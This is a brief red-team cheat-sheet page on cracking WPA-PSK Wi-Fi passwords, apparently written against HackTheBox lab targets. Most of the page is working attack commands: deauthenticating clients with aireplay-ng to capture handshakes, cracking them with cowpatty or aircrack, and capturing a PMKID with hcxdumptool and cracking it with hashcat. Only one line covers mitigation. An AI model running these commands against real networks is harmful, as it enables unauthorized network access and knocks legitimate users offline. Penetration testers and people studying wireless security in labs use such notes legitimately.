> For the complete documentation index, see [llms.txt](https://jotter.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jotter.gitbook.io/red-team/wireless/wpa-psk.md).

# WPA-PSK

WPA-PSK uses a pre-shared key (PSK) to encrypt client/SSID communications. The PSK can be extracted via deauthentication attacks against existing clients:

```
airodump-ng wlan0mon -c 1 -w WPA
aireplay-ng -0 5 -a [bssid] -c [client MAC] wlan0mon
cowpatty -c -r WPA-01.cap
cowpatty -r WPA-01.cap -f /opt/wordlist.txt -s HackTheBox
or aircrack
```

Or if you lack clients, you can attempt to extract the PMKID of vulnerable SSIDs, cracking the PSK without and client deauthentication:

```
Check for PMKID in SSID:
hcxdumptool -i wlan0mon --enable_status=3

Get BSSID
airodump-ng wlan0mon --essid HTBWireless

Extract PMKID and hash
hcxdumptool -i wlan0mon --enable_status=3 --filterlist_ap=E2:73:E7:F5:98:91 --filtermode=2 -o HTBPMKID.pcap
hcxpcapngtool -o hash HTBPMKID.pcap
hashcat -m 22000 --force hash /opt/wordlist.txt

To mitigate - disable fast roaming and PMKID caching.
```